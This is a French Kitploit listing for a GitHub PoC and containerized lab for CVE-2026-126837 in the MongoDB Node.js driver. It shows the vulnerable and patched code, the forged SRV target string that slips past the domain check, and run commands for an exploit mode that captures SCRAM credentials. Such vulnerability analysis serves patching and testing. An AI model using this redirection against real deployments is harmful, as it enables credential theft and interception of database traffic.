Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-126837 — Laboratoire différentiel conteneurisé et PoC pour CVE-2026-126837, démontrant la redirection de cible SRV dans le driver MongoDB Node.js et la capture d'identifiants SCRAM sur 7.7.0 vs 7.8.0. | Kitploit
Outils/GitHubGitHub/googlesky/cve-2026-126837
Analyse des VulnérabilitésExploitationSécurité WebSécurité RéseauApprentissage et ÉducationAnalyse DNSLabs et Pratique
GitHubgooglesky/cve-2026-126837

CVE-2026-126837

Laboratoire différentiel conteneurisé et PoC pour CVE-2026-126837, démontrant la redirection de cible SRV dans le driver MongoDB Node.js et la capture d'identifiants SCRAM sur 7.7.0 vs 7.8.0.

Voir le dépôt
il y a 6 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    945
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    350
  • 4

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    339
  • 5

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    338
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Le système d'action pour la cybersécurité native IA—où l'intention devient une exécution gouvernée, les preuves deviennent une mémoire opérationnelle, et chaque opération améliore la suivante.

    292

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-126837 — Le driver MongoDB Node.js se connecte en dehors du domaine parent SRV lorsque la cible SRV contient un caractère terminant une URL

ChampValeur
CVECVE-2026-126837
ComposantDriver MongoDB Node.js (mongodb, mongodb/node-mongodb-native) — Découverte initiale de la liste de seed DNS
Affecté3.3.3 .. < 7.8.0 (semver)
Corrigé dans7.8.0 (commit 19e2d3b83, NODE-7830)
CWECWE-180 — Valider avant de canonicaliser
CVSS4.0 — 9.1 CRITIQUE (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N) ; 3.1 — 7.4 ÉLEVÉ
ImpactRedirection du trafic de base de données vers un hôte attaquant : interception des identifiants (preuve SCRAM cassable hors ligne), divulgation involontaire des données applicatives, résultats de requêtes altérés
VecteurRéponse DNS SRV forgée ou influencée par un attaquant pour une chaîne de connexion mongodb+srv://
DéclencheurNom de cible SRV contenant #, ? ou / avant le suffixe du domaine parent
CréditAvis du fournisseur (aucun rapporteur nommé dans l'enregistrement CVE)

Une faille de validation dans le garde-fou du domaine parent SRV du driver permet à une partie capable de forger ou de modifier la réponse DNS SRV de rediriger un client mongodb+srv:// vers n'importe quel hôte de son choix. Le garde-fou compare la cible SRV au domaine parent avec un simple endsWith sur une chaîne dont la syntaxe n'a jamais été validée ; le driver réanalyse ensuite la même chaîne comme une URL, où #, ? et / terminent le nom d'hôte prématurément. La connexion est établie vers l'hôte de l'attaquant avec TLS activé contre la victime : le certificat est validé contre le nom redirigé, que l'attaquant possède légitimement. Le client envoie ensuite son échange d'authentification SCRAM — y compris une preuve client dérivée du mot de passe — à l'attaquant. Les applications utilisant des URI mongodb:// simples ne sont pas affectées.

1. Cause racine

Le garde-fou vulnérable, src/utils.ts:1158 dans la v7.7.0 :

export function checkParentDomainMatch(address: string, srvHost: string): void {
  // Remove trailing dot if exists on either the resolved address or the srv hostname
  const normalizedAddress = address.endsWith('.') ? address.slice(0, address.length - 1) : address;
  const normalizedSrvHost = srvHost.endsWith('.') ? srvHost.slice(0, srvHost.length - 1) : srvHost;

  const allCharacterBeforeFirstDot = /^.*?\./;
  // Remove all characters before first dot
  const addressDomain = `.${normalizedAddress.replace(allCharacterBeforeFirstDot, '')}`;
  ...
  if (!addressDomain.endsWith(srvHostDomain)) {
    throw new MongoAPIError('Server record does not share hostname with parent URI');
  }
}

Le garde supprime un point final, retire tout jusqu'au premier ., et appelle endsWith. Il n'effectue aucune validation syntaxique de la cible SRV. La chaîne validée circule ensuite vers HostAddress.fromString() et est ré-analysée dans le constructeur HostAddress (src/utils.ts:890) :

const urlString = `iLoveJS://${escapedHost}`;
url = new URL(urlString);
...
const hostname = url.hostname;

L'arithmétique qui échoue, pour l'hôte SRV cluster0.lab.mongodb.test (parent .lab.mongodb.test) et la cible forgée evil.attacker.test#.lab.mongodb.test :

guard:     "evil.attacker.test#.lab.mongodb.test"
           remove everything before first dot -> tail ".lab.mongodb.test" retained
           -> endsWith(".lab.mongodb.test") = TRUE   -> guard PASSES
URL parse: iLoveJS://evil.attacker.test#.lab.mongodb.test:27017
           "#" starts the fragment -> hostname = "evil.attacker.test", port falls back to 27017
           -> driver connects to evil.attacker.test

Le # ne bloque jamais la comparaison de suffixe car la garde compare la fin de la chaîne brute (dont le # se situe avant le suffixe), tandis que le parseur d'URL WHATWG traite ce même # comme le délimiteur de fragment et tronque le nom d'hôte.

Le correctif dans 7.8.0, src/utils.ts:1185-1216, canonicalise avant de valider :

const FORBIDDEN_DOMAIN_CODE_POINTS = /[\u0000-\u0020\u007F#%/:<>?@[\\\]^|]/;

export function dnsNameToASCII(name: string): string | null {
  if (FORBIDDEN_DOMAIN_CODE_POINTS.test(name)) {
    return null;
  }
  const ascii = /^\p{ASCII}*$/u.test(name) ? name.toLowerCase() : domainToASCII(name);
  return ascii === '' ? null : ascii;
}

export function normalizeDnsName(name: string): string {
  const withoutTrailingDot = name.endsWith('.') ? name.slice(0, -1) : name;
  const normalized = dnsNameToASCII(withoutTrailingDot);
  if (normalized == null) {
    throw new MongoAPIError('Invalid DNS host name');
  }
  return normalized;
}

Appliqué au point d'appel unique de SRV, src/connection_string.ts:128-130 :

const host = normalizeDnsName(name);
verifySrvHost(host, lookupAddress, options);
return HostAddress.fromString(`${host}:${port ?? 27017}`);

Tout point de code interdit par WHATWG (#, ?, / ou autre) lève désormais MongoAPIError: Invalid DNS host name avant la garde, avant HostAddress.fromString, et avant l'ouverture de la moindre socket.

2. Environnement de reproduction

Une seule image de conteneur (cve-2026-126837:vuln) porte l'intégralité du différentiel :

  • serveur DNS faisant autorité (lab/src/dnsd.py) sur 127.0.0.1:53 — le fichier /etc/resolv.conf du conteneur pointe vers lui, de sorte que toute résolution de nom (y compris la recherche SRV c-ares de Node) passe par un DNS contrôlé par l'attaquant. Il répond à la requête SRV _mongodb._tcp.cluster0.lab.mongodb.test avec la cible choisie par l'attaquant et résout evil.attacker.test vers 127.0.0.1 ;
  • écouteur de l'attaquant (lab/src/evilserver.py) sur 127.0.0.1:27017 — point de terminaison TLS avec un certificat émis par la CA du lab (substitut du certificat publiquement approuvé qu'un attaquant détient pour son propre domaine), parlant suffisamment du protocole wire MongoDB (OP_QUERY ismaster, OP_MSG hello/saslStart/saslContinue) pour achever la poignée de main SDAM et capturer l'échange SCRAM-SHA-256 ;
  • service victime (lab/src/service.js) — exécute chaque tentative de connexion avec un processus enfant de la version du pilote sélectionnée (afin qu'une défaillance au niveau du pilote soit observée plutôt que de faire tomber le service) et expose les observations de l'attaquant et du serveur DNS via HTTP ;
  • versions du pilote dans une seule image, sélectionnées par requête : vuln = [email protected], fixed = [email protected], plus v6 = 6.22.0, v5 = 5.9.2, v4 = 4.17.2, v3 = 3.7.4 pour la matrice des plages affectées.

Les côtés vulnérable et corrigé ne diffèrent que par la version du paquet du pilote : même image de base, même serveur DNS, même écouteur de l'attaquant, même service, même tentative de connexion.

3. Exécution de l'environnement

./run-lab.sh build    # build lab + poc images
./run-lab.sh up       # create network cve126837lab, start lab, wait for health
./run-lab.sh all      # build, up, every PoC mode, capture evidence/, down-state logs

Modes individuels :

./run-lab.sh poc check --driver vuln     # exit 1 = vulnerable
./run-lab.sh poc check --driver fixed    # exit 0 = safe
./run-lab.sh poc exploit --driver vuln   # full SCRAM credential capture
./run-lab.sh poc probe                   # companion primitives, differential
./run-lab.sh poc mitigation --driver vuln
./run-lab.sh poc sweep                   # 42-payload 0-day sweep on both builds
./run-lab.sh poc versions                # 3.x .. 7.x affected-range matrix
./run-lab.sh state                       # copy DNS/attacker logs into evidence/
Télécharger l’outil